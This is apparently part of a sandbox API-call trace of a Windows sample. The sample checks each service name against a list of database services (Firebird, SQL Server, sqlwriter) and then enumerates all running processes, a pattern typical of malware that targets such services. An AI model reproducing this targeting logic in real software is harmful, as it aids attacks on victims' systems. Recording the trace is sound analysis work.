	[0078.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0078.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0078.445] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0078.445] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0078.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0078.446] lstrlenW (lpString="RpcEptMapper") returned 12
	[0078.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0078.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0078.446] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0078.446] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0078.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0078.446] lstrlenW (lpString="RpcSs") returned 5
	[0078.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0078.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0078.446] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0078.446] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0078.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0078.446] lstrlenW (lpString="SamSs") returned 5
	[0078.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0078.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0078.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0078.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0078.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0078.446] lstrlenW (lpString="Schedule") returned 8
	[0078.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0078.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0078.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0078.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0078.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0078.446] lstrlenW (lpString="SecurityHealthService") returned 21
	[0078.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0078.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0078.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0078.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0078.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0078.446] lstrlenW (lpString="SENS") returned 4
	[0078.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0078.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0078.447] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0078.447] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0078.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0078.447] lstrlenW (lpString="ShellHWDetection") returned 16
	[0078.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0078.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0078.447] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0078.447] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0078.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0078.447] lstrlenW (lpString="Spooler") returned 7
	[0078.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0078.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0078.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0078.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0078.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0078.447] lstrlenW (lpString="StateRepository") returned 15
	[0078.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0078.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0078.447] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0078.447] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0078.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0078.447] lstrlenW (lpString="SysMain") returned 7
	[0078.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0078.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0078.447] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0078.447] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0078.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0078.448] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328
	[0078.829] Process32FirstW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0078.829] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0078.830] lstrlenW (lpString="System") returned 6
	[0078.830] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0078.830] lstrlenW (lpString="smss.exe") returned 8
	[0078.830] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0078.831] lstrlenW (lpString="csrss.exe") returned 9
	[0078.831] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0078.831] lstrlenW (lpString="wininit.exe") returned 11
	[0078.831] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0078.832] lstrlenW (lpString="csrss.exe") returned 9
	[0078.832] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0078.832] lstrlenW (lpString="winlogon.exe") returned 12
	[0078.832] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0078.833] lstrlenW (lpString="services.exe") returned 12
	[0078.833] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0078.834] lstrlenW (lpString="lsass.exe") returned 9
	[0078.834] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.834] lstrlenW (lpString="svchost.exe") returned 11
	[0078.834] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0078.835] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0078.835] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0078.835] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0078.835] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.836] lstrlenW (lpString="svchost.exe") returned 11
	[0078.836] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0078.836] lstrlenW (lpString="dwm.exe") returned 7
	[0078.836] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.837] lstrlenW (lpString="svchost.exe") returned 11
	[0078.837] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.837] lstrlenW (lpString="svchost.exe") returned 11
	[0078.837] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.838] lstrlenW (lpString="svchost.exe") returned 11
	[0078.838] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.838] lstrlenW (lpString="svchost.exe") returned 11
	[0078.838] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.839] lstrlenW (lpString="svchost.exe") returned 11
	[0078.839] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.840] lstrlenW (lpString="svchost.exe") returned 11
	[0078.840] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.840] lstrlenW (lpString="svchost.exe") returned 11
	[0078.840] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.841] lstrlenW (lpString="svchost.exe") returned 11
	[0078.841] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.841] lstrlenW (lpString="svchost.exe") returned 11
	[0078.841] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0078.842] lstrlenW (lpString="spoolsv.exe") returned 11
	[0078.842] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.842] lstrlenW (lpString="svchost.exe") returned 11
	[0078.842] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.843] lstrlenW (lpString="svchost.exe") returned 11
	[0078.843] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0078.843] lstrlenW (lpString="audiodg.exe") returned 11
	[0078.844] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0078.844] lstrlenW (lpString="sihost.exe") returned 10
	[0078.844] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.845] lstrlenW (lpString="svchost.exe") returned 11
	[0078.845] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0078.845] lstrlenW (lpString="taskhostw.exe") returned 13
	[0078.845] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0078.846] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0078.846] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0078.846] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0078.846] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0078.847] lstrlenW (lpString="explorer.exe") returned 12
	[0078.847] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0078.847] lstrlenW (lpString="Memory Compression") returned 18
	[0078.847] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0078.848] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0078.848] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0078.848] lstrlenW (lpString="SearchUI.exe") returned 12
	[0078.848] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0078.849] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0078.849] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0078.849] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0078.849] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0078.850] lstrlenW (lpString="taskhostw.exe") returned 13
	[0078.850] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0078.850] lstrlenW (lpString="UsoClient.exe") returned 13
	[0078.851] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0078.851] lstrlenW (lpString="taskhostw.exe") returned 13
	[0078.851] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0078.852] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0078.852] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0078.852] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0078.852] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0078.853] lstrlenW (lpString="msoia.exe") returned 9
	[0078.853] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0078.853] lstrlenW (lpString="msoia.exe") returned 9
	[0078.853] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0078.854] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0078.854] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0078.854] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0079.080] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0079.081] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0079.081] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0079.082] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0079.082] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0079.082] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0079.082] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0079.083] lstrlenW (lpString="legends.exe") returned 11
	[0079.083] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0079.083] lstrlenW (lpString="miniature.exe") returned 13
	[0079.083] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0079.084] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0079.084] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0079.084] lstrlenW (lpString="thorough.exe") returned 12
	[0079.084] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0079.085] lstrlenW (lpString="dllhost.exe") returned 11
	[0079.085] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0079.085] lstrlenW (lpString="interactive.exe") returned 15
